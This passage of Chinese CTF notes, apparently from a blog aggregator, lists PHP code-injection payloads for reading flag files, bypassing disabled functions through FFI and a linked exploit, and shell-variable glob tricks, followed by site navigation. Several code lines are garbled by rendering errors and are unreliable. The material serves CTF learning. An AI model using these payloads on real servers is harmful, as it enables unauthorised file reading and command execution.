      c=require_once(’/flag.txt’);

      c=readfile(“flag.php”);

      c=var_dump(file(‘flag.php’));

      c=print_r(file(‘flag.php’));

      c=show_source(“flag.php”);
      c=highlight_file(“flag.php”);

      c=var_dump(file(“flag.php”));

  • 组合操作

    • c= a = f o p e n ( " f l a g . p h p " , " r " ) ; w h i l e ( ! f e o f ( a=fopen("flag.php","r");while (!feof( a=fopen("flag.php","r");while(!feof(a)) { l i n e = f g e t s ( line = fgets( line=fgets(a);echo KaTeX parse error: Expected 'EOF', got '}' at position 6: line;}?//一行一行读取 c=a=fopen(“flag.php”,“r”);while (!feof(KaTeX parse error: Expected '}', got 'EOF' at end of input: a)) {line = fgetc($a);echo KaTeX parse error: Expected 'EOF', got '}' at position 6: line;}?//一个一个字符读取 c=a=fopen(“flag.php”,“r”);while (!feof(KaTeX parse error: Expected '}', got 'EOF' at end of input: a)) {line = fgetcsv( a ) ; v a r d u m p ( a);var_dump( a);vard?ump(line);}

骚操作

直接读取文件不成功可以试试重命名文件后下载

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)

copy()

rename()

copy(“flag.php”,“flag.txt”);
rename(“flag.php”,“flag.txt”);

shell进阶

原理:利用shell自带的变量绕过一些限制

例子:

KaTeX parse error: Expected '}', got 'EOF' at end of input: {HOME:{*#HOSTNAME}😒{#SHLVL}} ====> t*

KaTeX parse error: Expected '}', got 'EOF' at end of input: {PWD:{Z}😒{*#SHLVL}} ====> /*

绕过安全目录

主要靠自带漏洞

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

FFI

FFI,php7.4以上才有

https://www.php.net/manual/zh/ffi.cdef.php

https://www.php.cn/php-weizijiaocheng-415807.html

$ffi= FFI::cdef(“int system(const char *command);”);//创建一个system对象
$a=’/readflag > 1.txt’;//没有回显的
f f i ? > s y s t e m ( ffi->system( ffi?>system(a);//通过$ffi去调用system函数


参考:
CTFshow(主要题目来源)

命令执行漏洞进阶详解 | Wh0ale’s Blog

老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客

PHP Parametric Function RCE · sky’s blog (skysec.top)

无参数读文件和RCE总结 - FreeBuf网络安全行业门户

无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-08 13:45:21  更:2022-01-08 13:46:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 5:30:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计